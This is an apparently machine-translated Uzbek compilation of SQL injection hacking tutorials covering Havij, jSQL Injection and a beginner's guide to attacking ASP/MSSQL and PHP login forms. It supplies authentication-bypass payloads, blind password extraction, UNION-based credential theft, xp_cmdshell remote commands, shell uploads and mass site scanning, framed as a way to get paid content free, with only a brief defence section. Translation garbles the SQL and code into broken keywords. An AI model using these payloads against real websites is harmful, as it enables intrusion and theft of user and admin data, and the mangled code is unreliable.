Sql in'ektsiya uchun dastur. Kali Linuxda SQL in'ektsiyalarini topish va ulardan foydalanish uchun ko'p funksiyali vosita bo'lgan jSQL Injection-dan foydalanish bo'yicha ko'rsatmalar. JSQL Injection yordamida xeshlarni qo'pol majburlash

Havij - bu veb-sayt zaifliklarini tekshiradigan dastur. Ko'pincha, u o'zining asosiy maqsadi, ya'ni SQL in'ektsiyalarini kiritish uchun ishlatilmaydi. Shu sababli, ushbu vosita ko'pincha "buzg'unchilik" dasturi sifatida tasniflanadi.

Ish printsipi

Ushbu ilovadan foydalanib, siz SQL ifodasini birlashtirish orqali o'zgartirish uchun veb-xizmatga hujumlarni amalga oshirishingiz mumkin. Muvaffaqiyatli bo'lsa, in'ektsiya sizning ehtiyojlaringizga mos ravishda foydalanuvchi so'rovini bajarish mantiqini o'zgartirishga imkon beradi. Ko'pincha, hujum paytida ma'lumotlar bazasining oddiy barmoq izi yaratiladi, shundan so'ng undan kerakli ma'lumotlar import qilinadi, masalan, foydalanuvchi ma'lumotlar bazasi yoki administrator hisobi. Agar zaifliklar mavjud bo'lsa, tajovuzkor hatto veb-ilovaning Back-end qismi bilan ham o'zaro aloqada bo'lishi mumkin. Xususan, bunday amalga oshirish serverda kerakli buyruqlarni bajarish yoki kerakli fayllarni xost tomonida ko'rish imkonini beradi.

Imkoniyatlar

Havij parol xeshlarini va jadval dumplarini saqlashga imkon beradi. Dastur sizga har xil turdagi in'ektsiyalarni amalga oshirishga imkon beradi: xatoga asoslangan SQL in'ektsiyasi, UNION so'rovi SQL in'ektsiyasi, stacked so'rovlar SQL in'ektsiyasi, vaqtga asoslangan ko'r SQL in'ektsiyasi va mantiqiy asosli ko'r SQL in'ektsiyasi. Asbob HTTPS bilan ishlaydi va turli xil DBMS turlarini qo'llab-quvvatlaydi: MSAccess, MySQL, Oracle, PostgreSQ va hatto Sybase. Agar kerak bo'lsa, Havij proksi-server orqali bir nechta oqimlarda ishlashi mumkin.

O'rnatilgan kodning sintaksisini qo'lda tahrirlash mumkin. Bundan tashqari, hujumni boshlashdan oldin siz qidirilgan kalit so'zlar, jadval ustunlari yoki ma'lumotlar turlari (masalan, butun sonlar yoki kasrlar) ro'yxatini tanlashingiz mumkin.

Amaliyot davomida Havij bajarilgan operatsiyalarning batafsil jurnalini yuritadi, ular hujum tugagandan so'ng dastur papkasida saqlanadi. Ilovaning interfeysi juda intuitiv va barcha asosiy boshqaruv elementlari bitta oynada joylashgan.

Asosiy xususiyatlar

  • kerakli sintaksis bilan SQL in'ektsiyalarini bajarish;
  • turli xil amalga oshirish variantlarini qo'llab-quvvatlash;
  • veb-sayt va ilovalarning zaif tomonlarini qidirish;
  • har xil turdagi DBMS bilan ishlash qobiliyati;
  • HTTPS va proksi-serverni qo'llab-quvvatlash.

SQL in'ektsiyasi xaker uchun juda yaxshi imkoniyat
serverga kirish. Va bir oz harakat bilan, u
hali ham tushunadi :)

Ichkarida kodlovchi

Hozirgi vaqtda ma'lumotlar bazalari bilan ishlash qo'llab-quvvatlanadi
deyarli barcha dasturlash tillari, bularga BASIC, C++, Java, PERL, PHP, Assembler va hatto JavaScript ham kiradi! Va bu dasturlar DBMS - ma'lumotlar bazasini boshqarish tizimlaridan boshqa narsa deb ataladi. Ma'lumotlar bazalari ko'pincha moliyaviy muammolarni hal qilish uchun ishlatiladi,
buxgalteriya hisobi, xodimlarni tashkil etish, lekin ular ham Internetda o'z arizalarini topdilar.

Ma'lumotlar bazalari ko'pincha WEB ilovalarini yozish uchun ishlatiladi. Ulardan foydalanish foydalanuvchi ro'yxatga olish ma'lumotlarini, sessiya identifikatorlarini saqlash, qidiruvlarni tashkil qilish, shuningdek, ko'proq ishlov berishni talab qiladigan boshqa vazifalar uchun eng mos keladi.
ma'lumotlar miqdori. Ma'lumotlar bazasiga kirish uchun server texnologiyalari qo'llaniladi: PHP, PERL, ASP va boshqalar. Qiziq shu erda boshlanadi. Serverda bo'lganda
barcha yamalar o'rnatilgan va xavfsizlik devori 80-portdan tashqari barcha portlarni bloklaydi yoki ba'zi ma'lumotlarga kirish uchun autentifikatsiya zarur bo'lsa, xaker buzib kirish uchun SQL Injection-dan foydalanishi mumkin. Ushbu hujumning mohiyati WEB texnologiyalari va SQL kesishmasidagi xatolikdan foydalanishdir. Gap shundaki, foydalanuvchi ma'lumotlarini qayta ishlash uchun mo'ljallangan ko'plab veb-sahifalar maxsus shaklga ega SQL ma'lumotlar bazasi so'rovi. Ushbu texnikadan ehtiyotsiz foydalanish juda qiziqarli natijalarga olib kelishi mumkin ...

SQL in'ektsiyasi

Hujumni tushuntirish uchun, tasavvur qilaylik, siz juda muhim vositani yuklab olish uchun saytga borgansiz va dahshat bilan buni faqat ro'yxatdan o'tgan foydalanuvchi qila olishini va ro'yxatdan o'tish, albatta, pul talab qiladi :) Siz berishni xohlamaysiz. oxirgi ishlagan pulingiz, lekin dastursiz buni qila olmaysiz! Qanday qilib eslash vaqti keldi
ma'lumotlar bazalariga kirish SQL. Masalan, PHP da login va parolni tekshirish quyidagicha ko'rinishi mumkin:

$result=mysql_db_query($db,"FROM * $jadval QAYERDA user="$login" VA
pass="$parol"");
$num_rows=mysql_num_rows($natija);
mysql_close($link);
agar ($num_satr!=0)
{
// AUTENTifikatsiya OK
}
boshqa
{
// AUTENTifikatsiya XATOSI
}

Men ikkita izoh qo'shdim, "AUTENTICATION OK" - buning o'rniga men kerak
parol va login to'g'ri bo'lsa, bajariladigan kodga o'ting. Yana bir "AUTENTifikatsiya XATOSI" - bu noto'g'ri bo'lsa, bajariladigan kod tasvirlangan joy. Shaklni to'ldirsangiz, so'rov "http://www.server.com?login=user&password=31337" kabi ko'rinadi, bu erda www.server.com nomi.
biz ulanishga harakat qilayotgan server. Biz qidirgan narsamizni topdik va shuning uchun biz yana ishga qaytamiz SQL. Shunday qilib, agar siz avtorizatsiya uchun login va parolni ko'rsatishingiz kerak bo'lsa, u holda yaratilgan SQL so'rov quyidagicha ko'rinadi:

login="user" VA QAYERDAGI foydalanuvchilardan * ni tanlang
parol = "31337"

Bu shunga o'xshash narsani anglatadi: login "foydalanuvchi" va parol "31337" bo'lgan foydalanuvchilar ma'lumotlar bazasidagi barcha yozuvlarni menga qaytaring. Agar bunday yozuv mavjud bo'lsa, u holda foydalanuvchi ro'yxatdan o'tgan, lekin agar yo'q bo'lsa, unda yo'q ... Lekin muayyan sharoitlarda hamma narsa tuzatilishi mumkin. Bu dastur uzatilgan ma'lumotlarning tarkibini tekshirmagan yoki uning mavjudligini to'liq tekshirmagan vaziyatni anglatadi. SQL ko'rsatmalar. Ushbu misolda login va parol ikkita maydon tekshiriladi, lekin agar siz “31337” VA email="ni belgilasangiz. [elektron pochta himoyalangan]"(ikki tirnoqsiz), keyin so'rov biroz boshqacha bo'ladi:

login="user" VA password="31337" VA QAYERDAGI foydalanuvchilar orasidan * ni tanlang
email=" [elektron pochta himoyalangan]"

Va agar elektron pochta maydoni mavjud bo'lsa, bu holat ham tekshiriladi. Agar siz mantiqiy algebra asoslarini eslasangiz, "va" operatsiyasidan tashqari "yoki" ham borligi xayolingizga keladi va ulardan foydalanish SQL tomonidan qo'llab-quvvatlansa, siz
tasvirlangan usulda har doim rost qaytaradigan shart qo'shing. Buning uchun login sifatida “foydalanuvchi” YOKI 1=1--ni belgilashingiz kerak, bu holda so‘rov quyidagi shaklda bo‘ladi:

Foydalanuvchilardan * QAYERDA login="user" YOKI 1=1--" VA NI TANLANG
parol = "31337"

Avval bilishingiz kerakki, "--" so'rovning oxirini anglatadi va "--" dan keyin hamma narsa.
qayta ishlanmaydi! Ma'lum bo'lishicha, biz iltimos qilganmiz:

login = "foydalanuvchi" YOKI 1=1 QAYERDAGI foydalanuvchilardan * TANLANING

Ko'rib turganingizdek, biz "1=1" shartini qo'shdik, ya'ni tekshirish mezoni "agar login "foydalanuvchi" bo'lsa yoki 1=1" bo'ladi, lekin 1 har doim 1 ga teng (yagona istisno Dani Shepovalov arifmetikasi bo'lishi mumkin). :)). Bizning shubhalarimizni tekshirish uchun
Manzil satriga "http://www.server.com?login=user yoki 1=1--&password=31337" kiriting. Bu qaysi loginni ko'rsatganimiz muhim emasligiga olib keladi, lekin
ayniqsa parol! Va biz matritsada, tizimdamiz va kerakli narsalarni xotirjam yuklab olishimiz mumkin.

Ammo bularning barchasi nazariy jihatdan. Amalda biz so'rov qanday shakllantirilishi, qanday ma'lumotlar uzatilishi va qanday ketma-ketlikda ekanligini bilmaymiz. Shuning uchun, siz barcha maydonlar uchun "foydalanuvchi" YOKI 1=1--" ni belgilashingiz kerak. Shuningdek, yashirin maydonlar uchun ariza formasini tekshirishingiz kerak. HTMLda ular " sifatida tasvirlangan. ". Agar mavjud bo'lsa, sahifani saqlang va ushbu maydonlarning qiymatlarini o'zgartiring. Ulardagi qiymatlar ko'pincha SQL bayonotlarining mavjudligini tekshirishni unutib qo'yadi. Lekin hamma narsa ishlashi uchun siz to'liq ko'rsatishingiz kerak. ushbu so'rovni qayta ishlaydigan "ACTION" parametri uchun shakldagi skriptga yo'l ("FORM" yorlig'i).

Ammo so'rov qanday shakllanganligi har doim ham ma'lum emas,
Oldingi misol quyidagi yo'llar bilan tuzilishi mumkin:

QAYERDAGI foydalanuvchilardan * ni tanlang (login="foydalanuvchi" VA parol="31337")
login = "foydalanuvchi" VA parol = "31337" QAYERDAGI foydalanuvchilar orasidan * ni tanlang
login=foydalanuvchi VA parol=31337 QAYERDA FOYDALANILGANLARDAN * TANLANING

Bunday holda siz quyidagi variantlarni sinab ko'rishingiz mumkin:

"YOKI 1=1--
"YOKI 1=1--
YOKI 1=1--
" YOKI "a"="a
" YOKI "a"="a
") YOKI ("a"="a
YOKI "1"="1"

Bularning barchasi skriptning maqsadiga va dasturchiga bog'liq. Har bir inson hamma narsani o'ziga xos tarzda qilishga moyil bo'lganligi sababli, dasturchi eng oson variantni tanlamasligi mumkin. Shuning uchun darhol qilmaslik kerak
agar siz rad etsangiz, taslim bo'ling. Kerakli
iloji boricha ko'proq variantlarni sinab ko'ring ...

Parolni aniqlash

Avtorizatsiyani chetlab o'tish yomon emas, lekin ko'pincha siz foydalanayotgan teshik yopiladi va siz uchun mavjud bo'lgan hamma narsa yo'qoladi.
Agar dasturchi ahmoq bo'lmasa, buni kutish kerak
Vaqt o'tishi bilan u barcha bo'shliqlarni yopadi. Oldindan g'amxo'rlik qilsangiz, bunday vaziyatlardan osongina xalos bo'lishingiz mumkin. To'g'ri yechim parolni taxmin qilish bo'lishi mumkin
autentifikatsiya natijalarini tahlil qilish. Birinchidan, parolni taxmin qilishga harakat qilaylik, buning uchun uning manzilini kiriting:

"YOKI parol>"a

Agar bizga avtorizatsiya qilinganligi aytilsa, u holda parol
"a" harfi bilan boshlanmaydi, lekin ro'yxatdagi quyidagilardan biri bilan boshlanadi. Keling, davom etaylik va almashtiramiz
"a", keyingi "b", "c", "d", "e" ... va hokazolarni joylashtiring. ular bizga parol to'g'ri emasligini aytmaguncha. Ushbu jarayon "x" belgisida to'xtasin, bu holda vaziyatni rivojlantirish uchun ikkita variant yaratiladi: parol topiladi yoki parol ushbu belgi bilan boshlanadi. Birinchi variantni tekshirish uchun parol manzilini yozing:

"YOKI parol = "x

va agar parol qabul qilingan bo'lsa va sizga kirishga ruxsat berilsa, siz parolni taxmin qildingiz! Xo'sh, yo'q, unda siz ikkinchi belgini tanlashingiz kerak,
aynan bir xil, boshidan. Ikkita belgi borligini tekshiring
xuddi shunday kerak. Oxir-oqibat, siz parol olasiz va xuddi shu tarzda loginni qidirasiz :)
Agar topilgan parol va login sizga mos kelmasa, boshqalarni topishingiz mumkin. Buni amalga oshirish uchun topilgan parolning oxirgi belgisidan tekshirishni boshlashingiz kerak. Shunday qilib, agar parol "xxx" bo'lsa, parol mavjudligini tekshirish kerak
"xxxy":

"YOKI parol = "xxx

bir nechta variantni o'tkazib yubormaslik uchun!

MS SQL Server

Kerakli filtrlash o'tkazib yuborilgan bo'lsa, MS SQL Server odatda xudodir. SQL Injection zaifligidan foydalanib, siz bajarishingiz mumkin
exec master..xp_cmdshell yordamida masofaviy serverdagi buyruqlar. Lekin bu dizayndan foydalanish uchun
SELECT operatsiyasi tugallanishi kerak. SQL da bayonotlar nuqta-vergul bilan ajratiladi. Shuning uchun, Telnet orqali ba'zi IP-ga ulanish uchun siz parol/loginni kiritishingiz kerak:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Serverda ma'lumotlar bazasida saqlangan login va parollarni aniqlash imkonini beruvchi yana bir qancha qiziqarli funksiyalar mavjud. Buning uchun xato chiqishi ixtiyoriy serverga va ular orqali yo'naltiriladi
tahlil qilish orqali siz jadval nomini, maydonlarni va ularning turlarini bilib olishingiz mumkin. Shundan so'ng siz so'rov yuborishingiz mumkin

"UNION SELECT TOP 1 login FROM foydalanuvchilar--

(login - loginni o'z ichiga olgan maydon nomi va foydalanuvchilar - jadval nomi,
xatolarni tahlil qilish jarayonida yarim olimlar).

Javob quyidagicha bo'lishi mumkin:


"admin.) nvarchar qiymatini aylantirishda sintaksis xatosi" to a column of data type int. !}
/default.asp, 27-qator

Endi biz "admin" ismli foydalanuvchi borligini bilamiz. Endi biz uning parolini olamiz:

" UNION TOP 1 parolni login = "admin" -- foydalanuvchilardan tanlang.

Natija:

ODBC drayverlari uchun Microsoft OLE ma'lumotlar bazasi provayderi xatosi "80040e07"
nvarchar qiymatini "xxx.) konvertatsiya qilishda sintaktik xato" to a column of data type int. !}
/tedault.asp, 27-qator

Endi bilamizki, “xxx” paroliga ega “admin” foydalanuvchisi bor. Shu bilan siz xavfsiz tarzda qila olasiz
undan foydalaning va tizimga kiring 😉

Ammo SQL bilan ishlash uchun boshqa ko'plab funktsiyalar mavjud,
Ma'lumotlar bazasi bilan ishlashda siz ma'lumotlarni o'chirishingiz, ularni o'zgartirishingiz, o'zingiznikiniki kiritishingiz va hatto fayllarni boshqarishingiz va ro'yxatga olish kitobi bilan ishlashingiz mumkin.
Umuman olganda, SQL Server qoidalari :)

Himoya

Lekin, albatta, bularning barchasidan qochish mumkin. Buning uchun siz mumkin
filtrlardan foydalanish,
ishlab chiqaruvchilar tomonidan taqdim etiladi. Siz o'zingizning echimlaringizni topishingiz mumkin, masalan, barchasini almashtirish
qo'sh tirnoq (agar uchun SQL iltimos, biz bittadan foydalanamiz) yoki aksincha. Agar siz kiritishingiz kerak bo'lsa, faqat harflar va s@baki dan foydalanishga ruxsat berishingiz mumkin
elektron manzil. Va marvaridda ajoyib narsa bor
DBI::DBD modulidagi 🙂 quote() funktsiyasi, bu sizning so'rovingizni quyidagiga nisbatan xavfsiz qiladi. SQL. Ko'p echimlar bor, ular sizga kerak
foyda olish. Aks holda, nima uchun bularning barchasi ...

Yuklab olingan faylni ikki marta bosish orqali ishga tushiring (sizda virtual mashina bo'lishi kerak).

3. Saytni SQL in'ektsiyasi uchun tekshirishda anonimlik

Kali Linux-da Tor va Privoxy-ni sozlash

[Bo'lim ishlab chiqilmoqda]

Windows-da Tor va Privoxy-ni sozlash

[Bo'lim ishlab chiqilmoqda]

jSQL Injection-da proksi sozlamalari

[Bo'lim ishlab chiqilmoqda]

4. jSQL Injection bilan SQL in'ektsiyasi uchun saytni tekshirish

Dastur bilan ishlash juda oddiy. Shunchaki veb-sayt manzilini kiriting va ENTER tugmasini bosing.

Quyidagi skrinshotda sayt uchta turdagi SQL in'ektsiyalariga nisbatan zaif ekanligini ko'rsatadi (ular haqida ma'lumot pastki o'ng burchakda ko'rsatilgan). In'ektsiya nomlarini bosish orqali siz ishlatiladigan usulni o'zgartirishingiz mumkin:

Bundan tashqari, mavjud ma'lumotlar bazalari allaqachon bizga ko'rsatilgan.

Har bir jadvalning mazmunini ko'rishingiz mumkin:

Odatda, jadvallar haqida eng qiziqarli narsa administrator hisob ma'lumotlaridir.

Agar omadingiz bo'lsa va administrator ma'lumotlarini topsangiz, quvonishga hali erta. Ushbu ma'lumotlarni kiritish uchun siz hali ham administrator panelini topishingiz kerak.

5. jSQL Injection yordamida administrator panellarini qidiring

Buni amalga oshirish uchun keyingi yorliqga o'ting. Bu erda bizni mumkin bo'lgan manzillar ro'yxati kutib oladi. Tekshirish uchun bir yoki bir nechta sahifani tanlashingiz mumkin:

Qulaylik boshqa dasturlardan foydalanishga hojat yo'qligidadir.

Afsuski, parollarni aniq matnda saqlaydigan beparvo dasturchilar unchalik ko'p emas. Ko'pincha parol qatorida biz shunga o'xshash narsalarni ko'ramiz

8743b52063cd84097a65d1633f5c74f5

Bu hash. Siz qo'pol kuch yordamida uni parolini hal qilishingiz mumkin. Va... jSQL Injection o'rnatilgan qo'pol kuchga ega.

6. JSQL Injection yordamida qo'pol kuch xeshlari

Shubhasiz qulaylik shundaki, siz boshqa dasturlarni qidirishingiz shart emas. Eng mashhur xeshlarning ko'pchiligini qo'llab-quvvatlash mavjud.

Bu eng yaxshi variant emas. Xeshlarni dekodlash bo'yicha guru bo'lish uchun rus tilidagi "" kitobi tavsiya etiladi.

Ammo, albatta, boshqa dastur bo'lmasa yoki o'rganishga vaqt bo'lmasa, jSQL Injection o'rnatilgan qo'pol kuch funktsiyasi bilan juda foydali bo'ladi.

Sozlamalar mavjud: parolga qaysi belgilar kiritilganligini, parol uzunligi oralig'ini belgilashingiz mumkin.

7. SQL inyeksiyalarini aniqlashdan keyin fayl operatsiyalari

Ma'lumotlar bazalari bilan operatsiyalarga qo'shimcha ravishda - ularni o'qish va o'zgartirish, agar SQL in'ektsiyalari aniqlansa, quyidagi fayl operatsiyalarini bajarish mumkin:

  • serverdagi fayllarni o'qish
  • serverga yangi fayllarni yuklash
  • qobiqlarni serverga yuklash

Va bularning barchasi jSQL Injection-da amalga oshiriladi!

Cheklovlar mavjud - SQL server fayl huquqlariga ega bo'lishi kerak. Aqlli tizim ma'murlari ularni o'chirib qo'ygan va fayl tizimiga kirish imkoniga ega bo'lmaydi.

Fayl huquqlarining mavjudligini tekshirish juda oddiy. Yorliqlardan biriga o'ting (fayllarni o'qish, qobiq yaratish, yangi faylni yuklash) va belgilangan operatsiyalardan birini bajarishga harakat qiling.

Yana bir muhim eslatma - biz ishlaydigan faylga aniq mutlaq yo'lni bilishimiz kerak - aks holda hech narsa ishlamaydi.

Quyidagi skrinshotga qarang:

Fayl bilan ishlashga urinish uchun biz quyidagi javobni olamiz: FILE imtiyozi yo'q(fayl imtiyozlari yo'q). Va bu erda hech narsa qilish mumkin emas.

Buning o'rniga sizda boshqa xato bo'lsa:

[katalog_nomi] ga yozishda muammo

Bu siz faylni yozmoqchi bo'lgan mutlaq yo'lni noto'g'ri ko'rsatganingizni anglatadi.

Mutlaq yo'lni taxmin qilish uchun siz hech bo'lmaganda server ishlayotgan operatsion tizimni bilishingiz kerak. Buning uchun Tarmoq yorlig'iga o'ting.

Bunday rekord (satr Win64) biz Windows OS bilan ishlaymiz deb taxmin qilishimizga asos beradi:

Keep-Alive: timeout=5, max=99 Server: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Ulanish: Keep-Alive usuli: HTTP/1.1 200 OK Kontent-uzunligi: 353 Sana: Juma, 11-dekabr 2015-yil 11:48:31 GMT X-Powered-by: PHP/7.0.0RC6 Kontent turi: matn/html; charset=UTF-8

Mana bizda Unix (*BSD, Linux) mavjud:

Transfer-kodlash: parchalangan sana: 2015-yil 11-dekabr, 11:57:02 GMT usuli: HTTP/1.1 200 OK Jonli saqlash: vaqt tugashi=3, maks=100 Ulanish: tirik qolish Kontent turi: matn/html X- Muallif: PHP/5.3.29 Server: Apache/2.2.31 (Unix)

Va bizda CentOS mavjud:

Usul: HTTP/1.1 200 OK Muddati tugaydi: 1981 yil 19-noyabr, payshanba, 08:52:00 GMT oʻrnatilgan cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ Ulanish: keep-alive X-Cache-Lookup: MISS from t1.hoster.ru:6666 Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Kesh: MISS dan t1.hoster.ru Kesh-nazorat: do'kon yo'q, kesh yo'q, qayta tekshirish kerak, tekshirishdan keyingi=0, oldindan tekshirish=0 Pragma: kesh yo'q Sana: 2015 yil 11 dekabr, 12:08:54 GMT Transfer-kodlash: bo'laklangan tarkib turi: matn/html; charset=WINDOWS-1251

Windows-da saytlar uchun odatiy papka mavjud C:\Server\data\htdocs\. Ammo, aslida, agar kimdir Windows-da server yaratish haqida "o'ylagan" bo'lsa, demak, bu odam imtiyozlar haqida hech narsa eshitmagan. Shuning uchun siz to'g'ridan-to'g'ri C:/Windows/ katalogidan urinib ko'rishingiz kerak:

Ko'rib turganingizdek, birinchi marta hamma narsa yaxshi bo'ldi.

Ammo jSQL Injection qobiqlarining o'zi mening miyamda shubha uyg'otadi. Agar sizda fayl huquqlari bo'lsa, veb-interfeys yordamida biror narsani osongina yuklashingiz mumkin.

8. SQL in'ektsiyalari uchun saytlarni ommaviy tekshirish

Va hatto bu funksiya jSQL Injection da mavjud. Hammasi juda oddiy - saytlar ro'yxatini yuklab oling (fayldan import qilishingiz mumkin), tekshirmoqchi bo'lganlarni tanlang va operatsiyani boshlash uchun tegishli tugmani bosing.

jSQL Injection dan xulosa

jSQL Injection - bu veb-saytlarda topilgan SQL in'ektsiyalarini qidirish va undan keyin foydalanish uchun yaxshi, kuchli vosita. Uning shubhasiz afzalliklari: foydalanish qulayligi, o'rnatilgan tegishli funktsiyalar. jSQL Injection veb-saytlarni tahlil qilishda yangi boshlanuvchilar uchun eng yaxshi do'st bo'lishi mumkin.

Kamchiliklar orasida men ma'lumotlar bazalarini tahrirlashning iloji yo'qligini ta'kidlagan bo'lardim (hech bo'lmaganda men bu funktsiyani topmadim). Barcha GUI vositalarida bo'lgani kabi, ushbu dasturning kamchiliklaridan biri uning skriptlarda ishlata olmasligi bilan bog'liq bo'lishi mumkin. Shunga qaramay, ushbu dasturda ba'zi avtomatlashtirish ham mumkin - o'rnatilgan saytni ommaviy tekshirish funktsiyasi tufayli.

JSQL Injection dasturidan foydalanish sqlmapga qaraganda ancha qulay. Ammo sqlmap SQL in'ektsiyalarining ko'proq turlarini qo'llab-quvvatlaydi, fayl xavfsizlik devorlari va boshqa funktsiyalar bilan ishlash imkoniyatlariga ega.

Xulosa: jSQL Injection - bu yangi boshlanuvchi xakerning eng yaxshi do'sti.

Kali Linux entsiklopediyasida ushbu dastur uchun yordamni ushbu sahifada topishingiz mumkin: http://kali.tools/?p=706

Qo'g'irchoqlar uchun SQL Injection, ASP+MSSQL-ni buzish

Aleksandr Antipov

Ushbu maqolada yangi haqiqatlar mavjud emas, SQL in'ektsiyasi hamma joyda keng tasvirlangan va qo'llaniladi. Maqola ko'proq yangi boshlanuvchilar uchun mo'ljallangan, ammo, ehtimol, professionallar bir yoki ikkita yangi fokuslarni topishlari mumkin.


Ushbu maqola yangi boshlanuvchilarga SQL Injection texnikasidan foydalanishda duch kelishi mumkin bo'lgan muammolarni hal qilishda, undan muvaffaqiyatli foydalanishda va o'zlarini bunday hujumlardan himoya qilishda yordam berish uchun mo'ljallangan.

Kirish

Qiziqarli serverda faqat 80-port ochiq bo'lsa va zaiflik skaneri qiziq narsa haqida xabar bera olmasa va tizim ma'muri har doim veb-serverga barcha yamoqlarni juda tez o'rnatishini bilsangiz, bizning oxirgi imkoniyatimiz veb-buzg'unchilikdir. SQL injection veb-buzg'unchilik turlaridan biri bo'lib, u faqat 80-portdan foydalanadi va hatto o'z vaqtida yamoqlar bilan ham ishlay oladi. Ushbu hujum to'g'ridan-to'g'ri veb-server yoki OTdagi xizmatlarga qaraganda ko'proq veb-ilovalarga (masalan, ASP, JSP, PHP, CGI va boshqalar) qaratilgan.

Ushbu maqolada yangi haqiqatlar mavjud emas, SQL in'ektsiyasi hamma joyda keng tasvirlangan va qo'llaniladi. Maqola ko'proq yangi boshlanuvchilar uchun mo'ljallangan, ammo ehtimol professionallar bir yoki ikkita yangi fokuslarni topishlari mumkin. Shuningdek, men ushbu sohadagi mutaxassislardan batafsil ma'lumot olish uchun maqolaning oxiridagi havolalarni tekshirishni tavsiya qilaman.

1.1 SQL Injection nima?

SQL Injection - bu veb-sahifalar orqali SQL so'rovlarini/buyruqlarini kiritish uchun mo'ljallangan usul. Ko'pgina veb-sahifalar veb-foydalanuvchilarga taqdim etilgan parametrlardan foydalanadi va ma'lumotlar bazasiga SQL so'rovini amalga oshiradi. Masalan, foydalanuvchi login holatini olaylik, agar nom va parolga ega veb-sahifa mavjud bo'lsa va ma'lumotlar bazasida ushbu nom va parol bilan ro'yxatdan o'tgan foydalanuvchi bor yoki yo'qligini tekshirish uchun SQL so'rovi amalga oshiriladi. SQL Injection-dan foydalanib, SQL so'rovini o'zgartiradigan foydalanuvchi nomi va/yoki parol maydonini yuborish mumkin, bu bizga qiziqarli narsalarni berishi mumkin.

2.0 Biz nimani izlashimiz kerak

Qidiruv sahifasi, muhokama sahifasi va hokazo kabi maʼlumotlar soʻraladigan sahifalarni topishga harakat qiling. Ba'zan html sahifalari boshqa veb-sahifaga buyruqlar yuborish uchun POST usulidan foydalanadi. Bunday holda, siz URLda parametrlarni ko'rmaysiz. Biroq, bu holda siz sahifalarning HTML manba kodidan "FORM" tegini izlashingiz mumkin. Siz shunga o'xshash narsani topasiz:



O'rtasidagi barcha parametrlar

Va
SQL in'ektsiyasiga nisbatan zaif bo'lishi mumkin.

2.1 Agar siz kiritishdan foydalanadigan sahifani topmasangiz nima bo'ladi?

ASP, JSP, CGI yoki PHP veb-sahifalari kabi sahifalarni qidiring. Quyidagi kabi parametrlardan foydalanadigan sahifalarni topishga harakat qiling:

3.0. Men topgan narsam himoyasiz ekanligini qanday tekshirishim mumkin?

Bitta tirnoq bilan boshlashga harakat qiling. Quyidagi qatorni kiriting:

salom" yoki 1=1--

foydalanuvchi nomi yoki parol maydonida yoki hatto URL parametrida. Misol:

Kirish: salom" yoki 1=1--
O'tish: salom" yoki 1=1--
http://duck/index.asp?id=hi" yoki 1=1--

Agar siz buni yashirin maydon bilan qilgan bo'lsangiz, shunchaki asl HTML-ni yuklab oling, uni qattiq diskingizga saqlang, URL va yashirin maydonni mos ravishda o'zgartiring. Misol:



Agar omad siz tomonda bo'lsa, foydalanuvchi nomi yoki parolsiz tizimga kirishingiz mumkin bo'ladi.

3.1 Lekin nima uchun "yoki 1=1--?

Keling, " yoki 1=1-- konstruksiyasining foydaliligini tushuntiruvchi boshqa misolni ko'rib chiqaylik. Ro'yxatdan o'tishni chetlab o'tishdan tashqari, odatda mavjud bo'lmagan qo'shimcha ma'lumotlarni ham ko'rib chiqishimiz mumkin. Boshqa sahifaga bog'langan asp sahifasini ko'rib chiqaylik. quyidagi URL:

http://duck/index.asp?category=food

URL manzilida "toifa" o'zgaruvchining nomi, "oziq-ovqat" esa ushbu o'zgaruvchiga tayinlangan qiymatdir. Buning uchun asp sahifasida quyidagi kod bo'lishi mumkin:

v_cat = so'rov ("toifa")
sqlstr="Tanlash * FROM mahsulot WHERE PCategory="" & v_cat & """
sozlang rs=conn.execute(sqlstr)

Ko'rib turganingizdek, bizning o'zgaruvchimiz v_cat bilan birlashtiriladi va shuning uchun SQL so'rovi quyidagicha bo'lishi kerak:

QAYERDAGI MAHSULOTDAN * TANLANING PCategory="ovqat"

Bu soʻrov WHERE bandiga mos keladigan bir yoki bir nechta qatorni oʻz ichiga olgan toʻplamni qaytarishi kerak, bu holda “oziq-ovqat”. Endi URL manzilini quyidagicha o'zgartiramiz:

http://duck/index.asp?category=food" yoki 1=1--
QAYERDAGI mahsulotdan * TANLANING PCategory="ovqat" yoki 1=1--‘

Ushbu so'rov Pcategory "oziq-ovqat" yoki yo'qligidan qat'i nazar, mahsulot jadvalidagi barcha qatorlarni qaytaradi. Ikki chiziqli "-" MS SQL Serverga bitta qo'shtirnoq (")dan keyingi so'rovning qolgan qismini e'tiborsiz qoldirishni bildiradi. Ba'zan qo'sh chiziqni keskin "#" bilan almashtirish mumkin.

Biroq, agar siz SQL bo'lmagan serverdan foydalanayotgan bo'lsangiz yoki so'rovning qolgan qismini e'tiborsiz qoldirolmasangiz, harakat qilib ko'ring:

" yoki "a"="a

Endi SQL so'rovi quyidagicha bo'ladi:

QAYERDAGI mahsulotdan * TANLANING PCategory="ovqat" yoki "a"="a"

Bu so'rov bir xil natijani qaytaradi.

Haqiqiy SQL so'roviga qarab, siz ushbu imkoniyatlardan ba'zilarini sinab ko'rishingiz kerak bo'lishi mumkin:

"yoki 1=1--
"yoki 1=1--
yoki 1=1--
" yoki "a"="a
" yoki "a"="a
") yoki ("a"="a

4.0 Qanday qilib SQL in'ektsiyasi yordamida buyruqlarni masofadan turib bajarishim mumkin?

SQL buyrug'ini kiritish qobiliyati odatda SQL so'rovlarini o'z xohishiga ko'ra bajarishimiz mumkinligini anglatadi. MS SQL Serverning standart o'rnatilishi tizim huquqlari bilan ishlaydi. Biz ixtiyoriy buyruqlarni masofadan turib bajarish uchun master..xp_cmdshell kabi o'rnatilgan protseduralarni chaqirishimiz mumkin:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Agar (") ishlamasa, qo'sh tirnoq (") ishlatib ko'ring.

Nuqtali vergul joriy SQL so'rovini tugatadi va yangi SQL buyruqlarini ishga tushirishga imkon beradi. Buyruqning muvaffaqiyatli bajarilganligini tekshirish uchun siz 10.10.1.2 da ICMP paketlarini tekshirib, ularda zaif serverdan paketlar mavjudligini tekshirishingiz mumkin:

http://site/?ID=31610

Agar siz serverdan hech qanday ping so'rovini olmagan bo'lsangiz va ruxsatnoma xatosini ko'rsatuvchi xato xabarini olsangiz, administrator veb-foydalanuvchining saqlangan protseduralarga kirishini cheklagan bo'lishi mumkin.

